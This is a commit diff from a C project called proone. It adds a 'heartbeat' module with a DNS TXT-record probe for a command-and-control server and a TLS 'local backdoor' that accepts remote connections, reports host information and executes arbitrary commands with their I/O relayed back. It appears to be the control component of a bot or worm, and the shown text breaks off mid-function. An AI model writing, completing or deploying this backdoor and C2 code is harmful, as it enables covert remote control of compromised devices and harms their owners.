aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-08-29 17:09:10 +0930
committerDavid Timber <mieabby@gmail.com>2020-08-29 17:20:37 +0930
commitf36333b2c915ac7d9cf82e09ab5cb2a2f8296177 (patch)
tree48e28c7750c99414bc1430ffefbd9fbaa26788e5
parentacf0b7a45171555eba2c10a6ef84f915c62f6791 (diff)
* _POSIX_C_SOURCE=199506L
* Add proone-htbthost * Add prne_iobuf, use it in resolv, htbt * memzero() -> prne_memzero() now as a function * Add prne_mbedtls_pth_handle() * Protocol changes * Remove prne_unint_*() * Add src/proone_conf.skel
-rw-r--r--proone.code-workspace3
-rw-r--r--src/Makefile.am16
-rw-r--r--src/config.h2
-rw-r--r--src/htbt.c1222
-rw-r--r--src/htbt.h33
-rw-r--r--src/iobuf.c83
-rw-r--r--src/iobuf.h29
-rw-r--r--src/mbedtls.c54
-rw-r--r--src/mbedtls.h15
-rw-r--r--src/pack.c2
-rw-r--r--src/proone-htbtclient.c0
-rw-r--r--src/proone-htbthost.c425
-rw-r--r--src/proone-mkdvault.c1
-rw-r--r--src/proone-pack.c6
-rwxr-xr-xsrc/proone-resolvbin144256 -> 0 bytes
-rw-r--r--src/proone-resolv.c6
-rw-r--r--src/proone-stress.c18
-rw-r--r--src/proone-test_proto.c38
-rw-r--r--src/proone-test_util.c6
-rw-r--r--src/proone.c64
-rw-r--r--src/proone.h8
-rw-r--r--src/proone_conf.skel/config.h1
-rw-r--r--src/proone_conf.skel/x509.h6
-rw-r--r--src/protocol.c168
-rw-r--r--src/protocol.h81
-rw-r--r--src/pth.c77
-rw-r--r--src/pth.h6
-rw-r--r--src/resolv.c321
-rw-r--r--src/resolv.h1
-rw-r--r--src/util_ct.h6
-rw-r--r--src/util_rt.c31
-rw-r--r--src/util_rt.h21
32 files changed, 2181 insertions, 569 deletions
diff --git a/proone.code-workspace b/proone.code-workspace
index aa336bb..3464962 100644
--- a/proone.code-workspace
+++ b/proone.code-workspace
@@ -10,8 +10,7 @@
"files.trimTrailingWhitespace": true,
"C_Cpp.default.cStandard": "c11",
"C_Cpp.default.defines": [
- // "_POSIX_C_SOURCE=200112L",
- "_GNU_SOURCE=1", // TODO: remove
+ "_POSIX_C_SOURCE=199506L",
"PRNE_DEBUG",
"PRNE_BUILD_ENTROPY={ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }",
"PRNE_BIN_ALIGNMENT=8"],
diff --git a/src/Makefile.am b/src/Makefile.am
index 785aeb5..b695333 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -1,7 +1,6 @@
BIN_ALIGNMENT = 8
-# TODO: Use -D_POSIX_C_SOURCE=200112L or -D_POSIX_C_SOURCE=2
-AM_CFLAGS = -std=c11 -pedantic -Wall -Wextra -Wno-switch -D_GNU_SOURCE -Wno-unused-parameter -DPRNE_BIN_ALIGNMENT=$(BIN_ALIGNMENT) -fdata-sections -ffunction-sections -Wl,--gc-sections
+AM_CFLAGS = -std=c11 -pedantic -Wall -Wextra -Wno-switch -D_POSIX_C_SOURCE=199506L -Wno-unused-parameter -DPRNE_BIN_ALIGNMENT=$(BIN_ALIGNMENT) -fdata-sections -ffunction-sections -Wl,--gc-sections
if DEBUG
AM_CFLAGS += -g -O0 -DPRNE_DEBUG
else
@@ -22,7 +21,8 @@ bin_PROGRAMS =\
proone-list-arch\
proone-resolv\
proone-stress\
- proone-ipaddr-arr
+ proone-ipaddr-arr\
+ proone-htbthost
proone_tests =\
proone-test_proto\
@@ -40,7 +40,9 @@ libproone_a_SOURCES =\
imap.c\
mbedtls.c\
pth.c\
- resolv.c
+ resolv.c\
+ htbt.c\
+ iobuf.c
proone: proone.bin dvault.bin
cp -fa proone.bin proone
@@ -63,7 +65,6 @@ proone_mkdvault_LDADD = libproone.a
proone_mkdvault_SOURCES = proone-mkdvault.c
proone_pack_LDADD = libproone.a
-proone_pack_LDFLAGS =
proone_pack_SOURCES = proone-pack.c
proone_unpack_LDADD = libproone.a
@@ -71,13 +72,14 @@ proone_unpack_LDFLAGS =
proone_unpack_SOURCES = proone-unpack.c
proone_list_arch_LDADD = libproone.a
-proone_list_arch_LDFLAGS =
proone_list_arch_SOURCES = proone-list-arch.c
proone_resolv_LDADD = libproone.a
-proone_resolv_LDFLAGS =
proone_resolv_SOURCES = proone-resolv.c
+proone_htbthost_LDADD = libproone.a
+proone_htbthost_SOURCES = proone-htbthost.c
+
proone_ipaddr_arr_SOURCES = proone-ipaddr-arr.c
proone_stress_LDADD = libproone.a
diff --git a/src/config.h b/src/config.h
index 04f73a9..bfcbc44 100644
--- a/src/config.h
+++ b/src/config.h
@@ -16,5 +16,3 @@
#define PRNE_PROG_VER { 0x11, 0xf7, 0x6b, 0x87, 0x62, 0x1a, 0x47, 0x9c, 0xa2, 0x18, 0x5c, 0x55, 0x40, 0x33, 0x7c, 0x9f }
extern const prne_arch_t prne_host_arch;
-
-#define PRNE_CNC_TXT_REC "cnc.prne.mydomain.test" // CHANGE ME
diff --git a/src/htbt.c b/src/htbt.c
index 502c1e4..6168635 100644
--- a/src/htbt.c
+++ b/src/htbt.c
@@ -2,23 +2,43 @@
#include "util_rt.h"
#include "protocol.h"
#include "llist.h"
-#include "dvault.h"
#include "pth.h"
#include "endian.h"
+#include "mbedtls.h"
+#include "iobuf.h"
+#include <string.h>
#include <errno.h>
+
#include <fcntl.h>
#include <poll.h>
+#include <unistd.h>
+#include <sys/wait.h>
+#include <sys/ioctl.h>
// CNCP interval: HTBT_CNCP_INT_MIN + variance
-#define HTBT_CNCP_INT_MIN 1800000 // half an hour minimum interval
-#define HTBT_CNCP_INT_VAR 1800000 // half an hour variance
-#define HTBT_CNCP_PORT prne_htobe16(55420)
+// #define HTBT_CNCP_INT_MIN 1800000 // half an hour minimum interval
+// #define HTBT_CNCP_INT_VAR 1800000 // half an hour variance
+// TODO
+#define HTBT_CNCP_INT_MIN 59000
+#define HTBT_CNCP_INT_VAR 2000
+#define HTBT_LBD_PORT prne_htobe16(PRNE_HTBT_PROTO_PORT)
+#define HTBT_LBD_BACKLOG 4
+// LBD Socket Operation Timeout
+static const struct timespec HTBT_LBD_SCK_OP_TIMEOUT = { 10, 0 }; // 10s
+// LBD Socket Bind Retry Interval
+static const struct timespec HTBT_LBD_BIND_INT = { 5, 0 }; // 5s
+// LBD TLS Close Timeout
+static const struct timespec HTBT_LBD_CLOSE_TIMEOUT = { 3, 0 }; // 3s
+
typedef struct {
pth_t pth;
prne_htbt_t *parent;
- struct pollfd pfd;
+ prne_iobuf_t iobuf[2];
+ int fd;
+ bool valid;
+ mbedtls_ssl_context ssl;
} htbt_lbd_client_t;
typedef struct {
@@ -30,33 +50,33 @@ typedef struct {
} htbt_req_slip_t;
struct prne_htbt {
- pth_t sigterm_pth;
- mbedtls_ctr_drbg_context *rnd;
- prne_resolv_t *resolv;
- prne_llist_t req_q;
+ prne_htbt_param_t param;
+ pth_mutex_t lock;
+ pth_cond_t cond;
bool loop_flag;
struct { // Main
- pth_mutex_t lock;
- pth_cond_t cond;
+ prne_llist_t req_q;
} main;
struct { // CNC DNS Record Probe
pth_t pth;
pth_mutex_t lock;
pth_cond_t cond;
- prne_pth_cv_t cv;
} cncp;
struct { // Local Backdoor
pth_t pth;
- struct pollfd pfd;
- prne_llist_t conn_list; // TODO: init
+ int fd;
+ prne_llist_t conn_list;
} lbd;
};
#define HTBT_INTP_CTX(x) prne_htbt_t *ctx = (prne_htbt_t*)(x);
-
static void fin_htbt_wkr (void *p) {
- // TODO
+ HTBT_INTP_CTX(p);
+
+ ctx->loop_flag = false;
+ prne_pth_cv_notify(&ctx->lock, &ctx->cond, true);
+ prne_pth_cv_notify(&ctx->cncp.lock, &ctx->cncp.cond, false);
}
static void free_htbt_wkr_ctx (void *p) {
@@ -64,12 +84,14 @@ static void free_htbt_wkr_ctx (void *p) {
// TODO
- if (ctx->cncp.pth != NULL) {
- pth_abort(ctx->cncp.pth);
- }
- if (ctx->lbd.pth != NULL) {
- pth_abort(ctx->lbd.pth);
- }
+ prne_free_llist(&ctx->main.req_q);
+ pth_abort(ctx->cncp.pth);
+
+ pth_abort(ctx->lbd.pth);
+ prne_close(ctx->lbd.fd);
+ prne_free_llist(&ctx->lbd.conn_list);
+
+ prne_free(p);
}
static void *htbt_main_entry (void *p) {
@@ -79,12 +101,19 @@ static void *htbt_main_entry (void *p) {
prne_assert(pth_resume(ctx->cncp.pth));
// TODO
+ while (ctx->loop_flag) {
+ pth_mutex_acquire(&ctx->lock, FALSE, NULL);
+ pth_cond_await(&ctx->cond, &ctx->lock, NULL);
+ pth_mutex_release(&ctx->lock);
+ }
+
+ prne_close(ctx->lbd.fd);
+ ctx->lbd.fd = -1;
- prne_close(ctx->lbd.pfd.fd);
- ctx->lbd.pfd.fd = -1;
- prne_pth_cv_notify(&ctx->cncp.cv);
prne_assert(pth_join(ctx->lbd.pth, NULL));
prne_assert(pth_join(ctx->cncp.pth, NULL));
+ ctx->lbd.pth = NULL;
+ ctx->cncp.pth = NULL;
return NULL;
}
@@ -92,170 +121,1037 @@ static void *htbt_main_entry (void *p) {
static void htbt_cncp_do_probe (prne_htbt_t *ctx) {
prne_resolv_prm_t prm;
bool r_ret;
+ prne_pth_cv_t cv;
+ char txtrec[256];
prne_resolv_init_prm(&prm);
+ cv.lock = &ctx->cncp.lock;
+ cv.cond = &ctx->cncp.cond;
+ cv.broadcast = false;
+ if (!ctx->param.cb_f.cnc_txtrec(txtrec)) {
+ goto END;
+ }
+ txtrec[255] = 0;
r_ret = prne_resolv_prm_gettxtrec(
- ctx->resolv,
- prne_dvault_get_cstr(PRNE_DATA_KEY_CNC_TXT_REC, NULL),
- &ctx->cncp.cv,
+ ctx->param.resolv,
+ txtrec,
+ &cv,
&prm);
if (!r_ret) {
- return;
+ goto END;
}
- prne_pth_cond_timedwait(&ctx->cncp.cv, NULL, NULL);
- if (prm.fut->qr == PRNE_RESOLV_QR_OK) {
+ pth_mutex_acquire(cv.lock, FALSE, NULL);
+ pth_cond_await(cv.cond, cv.lock, NULL);
+ pth_mutex_release(cv.lock);
+
+ if (prm.fut->qr == PRNE_RESOLV_QR_OK && prm.fut->rr_cnt > 0) {
+ // Scrub off the name
+ for (size_t i = 0; i < prm.fut->rr_cnt; i += 1) {
+ prne_memzero(prm.fut->rr[i].name, strlen(prm.fut->rr[i].name));
+ }
// TODO
// <entries in hex> <txt rec name suffix>
}
+END:
+ prne_memzero(txtrec, sizeof(txtrec));
prne_resolv_free_prm(&prm);
}
-static void *htbt_cncp_entry (void *p) { // TODO: this works?
+static void *htbt_cncp_entry (void *p) {
HTBT_INTP_CTX(p);
unsigned long intvar;
- struct timespec timeout;
+ pth_event_t ev = NULL;
+
+ while (ctx->loop_flag) {
+ htbt_cncp_do_probe(ctx);
- while (true) {
// calc interval variance
- intvar = 0;
- mbedtls_ctr_drbg_random(ctx->rnd, &intvar, sizeof(intvar));
+ intvar = 0; // ignore failure of mbedtls_ctr_drbg_random()
+ mbedtls_ctr_drbg_random(
+ ctx->param.ctr_drbg,
+ (unsigned char*)&intvar,
+ sizeof(intvar));
intvar = HTBT_CNCP_INT_MIN + (intvar % HTBT_CNCP_INT_VAR);
- timeout = prne_ms_timespec(intvar);
+ pth_event_free(ev, FALSE);
+ ev = pth_event(
+ PTH_EVENT_TIME,
+ prne_pth_tstimeout(prne_ms_timespec(intvar)));
// wait
- prne_pth_cond_timedwait(&ctx->cncp.cv, &timeout, NULL);
+ prne_assert(ev != NULL); // fatal without timeout
+ pth_mutex_acquire(&ctx->lock, FALSE, NULL);
+ pth_cond_await(&ctx->cond, &ctx->lock, ev);
+ pth_mutex_release(&ctx->lock);
if (!ctx->loop_flag) {
break;
}
-
- htbt_cncp_do_probe(ctx);
}
+ pth_event_free(ev, FALSE);
return NULL;
}
-static void *htbt_lbd_client_entry (void *p) {
- prne_llist_entry_t *ent = (prne_llist_entry_t*)p;
- htbt_lbd_client_t *ctx = (htbt_lbd_client_t*)ent->element;
+static bool htbt_lbd_client_handshake (htbt_lbd_client_t *ctx) {
+ pth_event_t ev = pth_event(
+ PTH_EVENT_TIME,
+ prne_pth_tstimeout(HTBT_LBD_SCK_OP_TIMEOUT));
+ bool ret;
- // TODO
+ ret = ev != NULL && prne_mbedtls_pth_handle(
+ &ctx->ssl,
+ mbedtls_ssl_handshake,
+ ctx->fd,
+ ev);
+ pth_event_free(ev, FALSE);
- prne_close(ctx->pfd.fd);
- ctx->pfd.fd = -1;
+ return ret;
}
-static void *htbt_lbd_entry (void *p) {
- HTBT_INTP_CTX(p);
+static void htbt_lbd_proc_close (htbt_lbd_client_t *ctx) {
+ pth_event_t ev;
+
+ ev = pth_event(
+ PTH_EVENT_TIME,
+ prne_pth_tstimeout(HTBT_LBD_CLOSE_TIMEOUT));
+ prne_mbedtls_pth_handle(
+ &ctx->ssl,
+ mbedtls_ssl_close_notify,
+ ctx->fd,
+ ev);
+ pth_event_free(ev, FALSE);
+ prne_shutdown(ctx->fd, SHUT_RDWR);
+ prne_close(ctx->fd);
+ ctx->fd = -1;
+
+ ctx->valid = false;
+}
+
+static void htbt_lbd_consume_outbuf (
+ htbt_lbd_client_t *ctx,
+ const size_t req_size,
+ pth_event_t root_ev)
+{
+ struct pollfd pfd;
int fret;
- pth_event_t ev = NULL, ev_sub;
- prne_llist_entry_t *ent;
- htbt_lbd_client_t *client;
- bool rebuild_ev = true;
- while (true) {
- if (rebuild_ev) {
- pth_event_free(ev, TRUE);
- ev = NULL;
+ pfd.fd = ctx->fd;
+ pfd.events = POLLOUT;
- ent = ctx->lbd.conn_list.head;
- while (ent != NULL) {
- ev_sub = pth_event(
- PTH_EVENT_TID | PTH_STATE_DEAD,
- ((htbt_lbd_client_t*)ent->element)->pth);
- prne_assert(ev_sub != NULL);
- if (ev == NULL) {
- ev = ev_sub;
+ while (ctx->iobuf[1].len > 0) {
+ fret = pth_poll_ev(&pfd, 1, -1, root_ev);
+ if (root_ev != NULL &&
+ pth_event_status(root_ev) != PTH_STATUS_PENDING)
+ {
+ break;
+ }
+ if (fret == 1 && pfd.revents & POLLOUT) {
+ fret = mbedtls_ssl_write(
+ &ctx->ssl,
+ ctx->iobuf[1].m,
+ ctx->iobuf[1].len);
+ if (fret <= 0) {
+ ctx->valid = false;
+ break;
+ }
+ prne_iobuf_shift(ctx->iobuf + 1, -fret);
+ }
+ else {
+ break;
+ }
+
+ if (ctx->iobuf[1].avail >= req_size) {
+ break;
+ }
+ }
+}
+
+static void htbt_lbd_fab_frame (
+ htbt_lbd_client_t *ctx,
+ const prne_htbt_msg_head_t *mh,
+ const void *body,
+ prne_htbt_ser_ft ser_f,
+ pth_event_t root_ev)
+{
+ size_t req, actual;
+
+ req = 0;
+ prne_htbt_ser_msg_head(NULL, 0, &actual, mh);
+ req += actual;
+ ser_f(NULL, 0, &actual, body);
+ req += actual;
+
+ prne_assert(req <= ctx->iobuf[1].size);
+ htbt_lbd_consume_outbuf(ctx, req, root_ev);
+ if (!ctx->valid) {
+ return;
+ }
+
+ prne_htbt_ser_msg_head(
+ ctx->iobuf[1].m + ctx->iobuf[1].len,
+ ctx->iobuf[1].avail,
+ &actual,
+ mh);
+ prne_iobuf_shift(ctx->iobuf + 1, actual);
+ ser_f(
+ ctx->iobuf[1].m + ctx->iobuf[1].len,
+ ctx->iobuf[1].avail,
+ &actual,
+ body);
+ prne_iobuf_shift(ctx->iobuf + 1, actual);
+}
+
+static void htbt_lbd_fab_status (
+ htbt_lbd_client_t *ctx,
+ prne_htbt_status_code_t status,
+ int32_t err,
+ uint16_t corr_msgid,
+ pth_event_t root_ev)
+{
+ prne_htbt_msg_head_t mh;
+ prne_htbt_status_t s;
+
+ prne_htbt_init_msg_head(&mh);
+ prne_htbt_init_status(&s);
+ mh.id = corr_msgid;
+ mh.is_rsp = true;
+ mh.op = PRNE_HTBT_OP_STATUS;
+ s.code = status;
+ s.err = err;
+
+ htbt_lbd_fab_frame(
+ ctx,
+ &mh,
+ &s,
+ (prne_htbt_ser_ft)prne_htbt_ser_status,
+ root_ev);
+
+ prne_htbt_free_msg_head(&mh);
+ prne_htbt_free_status(&s);
+}
+
+static void htbt_lbd_raise_protoerr (
+ htbt_lbd_client_t *ctx,
+ uint16_t corr_msgid,
+ int32_t err,
+ pth_event_t root_ev)
+{
+ htbt_lbd_fab_status(
+ ctx,
+ PRNE_HTBT_STATUS_PROTO_ERR,
+ err,
+ corr_msgid,
+ root_ev);
+ htbt_lbd_consume_outbuf(ctx, ctx->iobuf[1].len, root_ev);
+ ctx->valid = false;
+}
+
+static void htbt_lbd_fab_unimpl (
+ htbt_lbd_client_t *ctx,
+ uint16_t corr_msgid,
+ pth_event_t root_ev)
+{
+ htbt_lbd_fab_status(
+ ctx,
+ PRNE_HTBT_STATUS_UNIMPL,
+ 0,
+ corr_msgid,
+ root_ev);
+}
+
+static void htbt_lbd_srv_hostinfo (
+ htbt_lbd_client_t *ctx,
+ pth_event_t root_ev,
+ const prne_htbt_msg_head_t *mh)
+{
+ prne_htbt_host_info_t hi;
+
+ if (ctx->parent->param.cb_f.hostinfo == NULL) {
+ htbt_lbd_fab_unimpl(ctx, mh->id, root_ev);
+ return;
+ }
+
+ prne_htbt_init_host_info(&hi);
+
+ if (ctx->parent->param.cb_f.hostinfo(&hi)) {
+ htbt_lbd_fab_frame(
+ ctx,
+ mh,
+ &hi,
+ (prne_htbt_ser_ft)prne_htbt_ser_host_info,
+ root_ev);
+ }
+ else {
+ htbt_lbd_fab_status(
+ ctx,
+ PRNE_HTBT_STATUS_ERRNO,
+ errno,
+ mh->id,
+ root_ev);
+ }
+
+ prne_htbt_free_host_info(&hi);
+}
+
+static bool htbt_relay_child (
+ const int conn,
+ mbedtls_ssl_context *ssl,
+ prne_iobuf_t *iobuf,
+ int *c_in,
+ int *c_out,
+ int *c_err)
+{
+ bool ret = true;
+ struct pollfd pfd[4];
+ prne_htbt_stdio_t head[2];
+ int f_ret, pending, out_p = 0;
+ size_t actual;
+
+ pfd[0].fd = conn;
+ pfd[1].fd = *c_in;
+ pfd[2].fd = *c_out;
+ pfd[3].fd = *c_err;
+ prne_htbt_init_stdio(head + 0);
+ prne_htbt_init_stdio(head + 1);
+
+ while ((!head[0].fin && head[0].len > 0) ||
+ iobuf[1].len > 0 ||
+ pfd[1].fd >= 0 ||
+ pfd[2].fd >= 0 ||
+ pfd[3].fd >= 0)
+ {
+ pfd[0].events = 0;
+ if (iobuf[1].len > 0) {
+ pfd[0].events |= POLLOUT;
+ }
+ if (iobuf[0].avail > 0 && !(head[0].fin && head[0].len == 0)) {
+ pfd[0].events |= POLLIN;
+ }
+
+ if (head[0].len > 0 && iobuf[0].len > 0) {
+ pfd[1].events = POLLOUT;
+ }
+ else {
+ pfd[1].events = 0;
+ }
+
+ pfd[2].events = 0;
+ pfd[3].events = 0;
+ if (iobuf[1].len == 0) {
+ if (pfd[2 + out_p].fd < 0) {
+ out_p = (out_p + 1) % 2;
+ }
+ pfd[2 + out_p].events |= POLLIN;
+ }
+
+ f_ret = pth_poll(pfd, 4, -1);
+ if (f_ret < 0 && errno != EINTR) {
+ ret = false;
+ break;
+ }
+ if (f_ret == 0) {
+ break;
+ }
+
+ if (pfd[0].revents & POLLIN) {
+ f_ret = mbedtls_ssl_read(
+ ssl,
+ iobuf[0].m + iobuf[0].len,
+ iobuf[0].avail);
+ if (f_ret <= 0) {
+ break;
+ }
+ else {
+ prne_iobuf_shift(iobuf + 0, f_ret);
+ if (head[0].len == 0) {
+ if (prne_htbt_dser_stdio(
+ iobuf[0].m,
+ iobuf[0].len,
+ &actual,
+ head + 0) == PRNE_HTBT_SER_RC_OK)
+ {
+ prne_iobuf_shift(iobuf + 0, -actual);
+ if (head[0].len == 0 && head[0].fin) {
+ close(*c_in);
+ *c_in = -1;
+ }
+ }
+ }
+ }
+ }
+ if (pfd[0].revents & POLLOUT) {
+ f_ret = mbedtls_ssl_write(
+ ssl,
+ iobuf[1].m,
+ iobuf[1].len);
+ if (f_ret <= 0) {
+ break;
+ }
+ else {
+ prne_iobuf_shift(iobuf + 1, -f_ret);
+ if (pending > 0) {
+ pending -= f_ret;
}
else {
- prne_assert(pth_event_concat(ev, ev_sub, NULL) != NULL);
+ head[1].len -= f_ret;
+ if (head[1].len == 0) {
+ out_p = (out_p + 1) % 2;
+ }
}
+ }
+ }
+ if (pfd[0].revents & (POLLNVAL | POLLHUP | POLLERR)) {
+ pfd[0].fd = -1;
+ }
- ent = ent->next;
+ if (pfd[1].fd < 0 && head[0].len > 0) {
+ const ssize_t consume = prne_op_min(iobuf[0].len, head[0].len);
+
+ prne_iobuf_shift(iobuf + 0, -consume);
+ head[0].len -= consume;
+ }
+ else if (pfd[1].revents) {
+ const ssize_t consume = prne_op_min(iobuf[0].len, head[0].len);
+
+ f_ret = write(*c_in, iobuf[0].m, consume);
+ if (f_ret <= 0) {
+ pfd[1].fd = -1;
}
- rebuild_ev = false;
+ prne_iobuf_shift(iobuf + 0, -consume);
+ head[0].len -= consume;
+ if (head[0].len == 0 && head[0].fin) {
+ close(*c_in);
+ *c_in = -1;
+ pfd[0].fd = -1;
+ }
+ }
+
+ if (pfd[2 + out_p].revents) {
+ if (head[1].len == 0) {
+ prne_assert(ioctl(pfd[2 + out_p].fd, FIONREAD, &pending) == 0);
+
+ head[1].len = (size_t)prne_op_min(
+ pending,
+ PRNE_HTBT_STDIO_LEN_MAX);
+ head[1].err = out_p != 0;
+ head[1].fin = head[1].len == 0;
+ prne_htbt_ser_stdio(
+ iobuf[1].m + iobuf[1].len,
+ iobuf[1].avail,
+ &actual,
+ head + 1);
+ pending = (size_t)actual;
+ prne_iobuf_shift(iobuf + 1, actual);
+
+ if (head[1].fin) {
+ pfd[2 + out_p].fd = -1;
+ }
+ }
+ else {
+ f_ret = read(
+ pfd[2 + out_p].fd,
+ iobuf[1].m + iobuf[1].len,
+ prne_op_min(head[1].len, iobuf[1].avail));
+ prne_dbgast(f_ret > 0);
+ prne_iobuf_shift(iobuf + 1, f_ret);
+ }
+ }
+ }
+
+ prne_htbt_free_stdio(head + 0);
+ prne_htbt_free_stdio(head + 1);
+ close(*c_in);
+ close(*c_out);
+ close(*c_err);
+ *c_in = -1;
+ *c_out = -1;
+ *c_err = -1;
+
+ return ret;
+}
+
+/* htbt_do_cmd()
+*
+* Give flushed output buffer.
+*/
+static void htbt_do_cmd (
+ const bool detach,
+ char *const *args,
+ const int conn,
+ mbedtls_ssl_context *ssl,
+ prne_iobuf_t *iobuf,
+ prne_htbt_status_code_t *out_status,
+ int32_t *out_err)
+{
+ int cin[2] = { -1, -1 };
+ int cout[2] = { -1, -1 };
+ int cerr[2] = { -1, -1 };
+ int errp[2] = { -1, -1 };
+ pid_t child = -1;
+ int f_ret;
+
+ if (pipe(errp) != 0 ||
+ fcntl(errp[0], F_SETFD, FD_CLOEXEC) != 0 ||
+ fcntl(errp[1], F_SETFD, FD_CLOEXEC) != 0)
+ {
+ *out_status = PRNE_HTBT_STATUS_ERRNO;
+ *out_err = errno;
+ goto END;
+ }
+ if (!detach &&
+ (pipe(cin) != 0 || pipe(cout) != 0 || pipe(cerr) != 0))
+ {
+ *out_status = PRNE_HTBT_STATUS_ERRNO;
+ *out_err = errno;
+ goto END;
+ }
+
+ child = pth_fork();
+ if (child == 0) {
+ do { // TRY
+ close(errp[0]);
+
+ if (detach) {
+ if (setsid() < 0) {
+ break;
+ }
+ close(STDIN_FILENO);
+ // Inherit these if DEBUG
+#if !defined(PRNE_DEBUG)
+ close(STDOUT_FILENO);
+ close(STDERR_FILENO);
+#endif
+ }
+ else {
+ close(cin[1]);
+ close(cout[0]);
+ close(cerr[0]);
+ if (prne_chfd(cin[0], STDIN_FILENO) != STDIN_FILENO ||
+ prne_chfd(cout[1], STDOUT_FILENO) != STDOUT_FILENO ||
+ prne_chfd(cerr[1], STDERR_FILENO) != STDERR_FILENO)
+ {
+ break;
+ }
+ }
+
+ execv(args[0], args);
+ } while (false);
+ // CATCH
+ *out_err = errno;
+ write(errp[1], out_err, sizeof(int32_t));
+ raise(SIGKILL);
+ }
+ else if (child < 0) {
+ *out_status = PRNE_HTBT_STATUS_ERRNO;
+ *out_err = errno;
+ goto END;
+ }
+
+ // The parent continues ...
+ close(errp[1]);
+
+ // This could block forever if the child gets stoppep
+ f_ret = pth_read(errp[0], out_err, sizeof(int32_t));
+ if (f_ret == sizeof(int32_t)) {
+ *out_status = PRNE_HTBT_STATUS_ERRNO;
+ goto END;
+ }
+ prne_close(errp[0]);
+ errp[0] = -1;
+
+ *out_status = PRNE_HTBT_STATUS_OK;
+ if (detach) {
+ *out_err = 0;
+ child = -1;
+ }
+ else {
+ int status;
+
+ prne_close(cin[0]);
+ prne_close(cout[1]);
+ prne_close(cerr[1]);
+ cin[0] = cout[1] = cerr[1] = errp[1] = -1;
+ if (!prne_sck_fcntl(cin[1]) ||
+ !prne_sck_fcntl(cout[0]) ||
+ !prne_sck_fcntl(cerr[0]))
+ {
+ *out_status = PRNE_HTBT_STATUS_ERRNO;
+ *out_err = errno;
+ goto END;
}
- if (ctx->lbd.pfd.fd < 0) {
+ if (htbt_relay_child(conn, ssl, iobuf, &cin[1], &cout[0], &cerr[0])) {
+ if (pth_waitpid(child, &status, WUNTRACED) < 0) {
+ *out_status = PRNE_HTBT_STATUS_ERRNO;
+ *out_err = errno;
+ goto END;
+ }
+ else if (WIFEXITED(status)) {
+ *out_err = WEXITSTATUS(status);
+ }
+ else if (WIFSIGNALED(status)) {
+ *out_err = 128 + WTERMSIG(status);
+ }
+ else {
+ // child has been stopped just right before exit
+ *out_err = -1;
+ }
+ child = -1;
+ }
+ else {
+ *out_status = PRNE_HTBT_STATUS_ERRNO;
+ *out_err = errno;
+ }
+ }
+
+END:
+ prne_close(cin[0]);
+ prne_close(cin[1]);
+ prne_close(cout[0]);
+ prne_close(cout[1]);
+ prne_close(cerr[0]);
+ prne_close(cerr[1]);
+ prne_close(errp[0]);
+ prne_close(errp[1]);
+ if (child > 0) {
+ kill(child, SIGKILL);
+ pth_waitpid(child, NULL, 0);
+ }
+}
+
+static bool htbt_lbd_srv_run_cmd (
+ htbt_lbd_client_t *ctx,
+ pth_event_t root_ev,
+ const size_t off,
+ const prne_htbt_msg_head_t *mh)
+{
+ bool ret = false;
+ size_t actual;
+ prne_htbt_ser_rc_t s_ret;
+ prne_htbt_cmd_t cmd;
+ prne_htbt_status_code_t status = PRNE_HTBT_STATUS_ERRNO;
+ int32_t err = 0;
+
+ prne_htbt_init_cmd(&cmd);
+
+ s_ret = prne_htbt_dser_cmd(
+ ctx->iobuf[0].m + off,
+ ctx->iobuf[0].len - off,
+ &actual,
+ &cmd);
+ if (s_ret != PRNE_HTBT_SER_RC_MORE_BUF) {
+ prne_iobuf_shift(ctx->iobuf + 0, -(off + actual));
+ }
+ if (s_ret == PRNE_HTBT_SER_RC_FMT_ERR) {
+ htbt_lbd_raise_protoerr(ctx, mh->id, 0, root_ev);
+ goto END;
+ }
+ if (s_ret != PRNE_HTBT_SER_RC_OK) {
+ htbt_lbd_fab_status(
+ ctx,
+ PRNE_HTBT_STATUS_ERRNO,
+ errno,
+ mh->id,
+ root_ev);
+ goto END;
+ }
+
+ htbt_lbd_consume_outbuf(ctx, ctx->iobuf[1].len, root_ev);
+ if (root_ev != NULL && pth_event_status(root_ev) == PTH_STATUS_PENDING) {
+ htbt_do_cmd(
+ cmd.detach,
+ cmd.args,
+ ctx->fd,
+ &ctx->ssl,
+ ctx->iobuf,
+ &status,
+ &err);
+ htbt_lbd_fab_status(ctx, status, err, mh->id, root_ev);
+ ret = true;
+ }
+END:
+ prne_htbt_free_cmd(&cmd);
+ return ret;
+}
+
+static bool htbt_lbd_consume_inbuf (
+ htbt_lbd_client_t *ctx,
+ pth_event_t root_ev)
+{
+ prne_htbt_ser_rc_t s_ret;
+ prne_htbt_msg_head_t f_head;
+ size_t actual;
+ bool ret = true;
+
+ prne_htbt_init_msg_head(&f_head);
+
+ s_ret = prne_htbt_dser_msg_head(
+ ctx->iobuf[0].m,
+ ctx->iobuf[0].len,
+ &actual,
+ &f_head);
+ if (s_ret != PRNE_HTBT_SER_RC_OK) {
+ ret = false;
+ goto END;
+ }
+ if (f_head.is_rsp ||
+ (f_head.op != PRNE_HTBT_OP_NOOP && f_head.id == 0))
+ {
+ htbt_lbd_raise_protoerr(ctx, f_head.id, 0, root_ev);
+ ret = false;
+ goto END;
+ }
+
+ f_head.is_rsp = true;
+ switch (f_head.op) {
+ case PRNE_HTBT_OP_NOOP:
+ prne_iobuf_shift(ctx->iobuf + 0, -actual);
+ break;
+ case PRNE_HTBT_OP_HOST_INFO:
+ htbt_lbd_srv_hostinfo(ctx, root_ev, &f_head);
+ break;
+ case PRNE_HTBT_OP_RUN_CMD:
+ ret = htbt_lbd_srv_run_cmd(ctx, root_ev, actual, &f_head);
+ break;
+ case PRNE_HTBT_OP_RUN_BIN:
+ case PRNE_HTBT_OP_HOVER:
+ case PRNE_HTBT_OP_NY_BIN:
+ default:
+ htbt_lbd_raise_protoerr(
+ ctx,
+ f_head.id,
+ PRNE_HTBT_STATUS_UNIMPL,
+ root_ev);
+ ret = false;
+ break;
+ }
+
+END:
+ prne_htbt_free_msg_head(&f_head);
+
+ return ret;
+}
+
+static void *htbt_lbd_client_entry (void *p) {
+ htbt_lbd_client_t *ctx = (htbt_lbd_client_t*)p;
+ int rw_size;
+ pth_event_t ev = NULL, ev_timeout = NULL;
+ struct pollfd pfd;
+ unsigned long ev_spec;
+
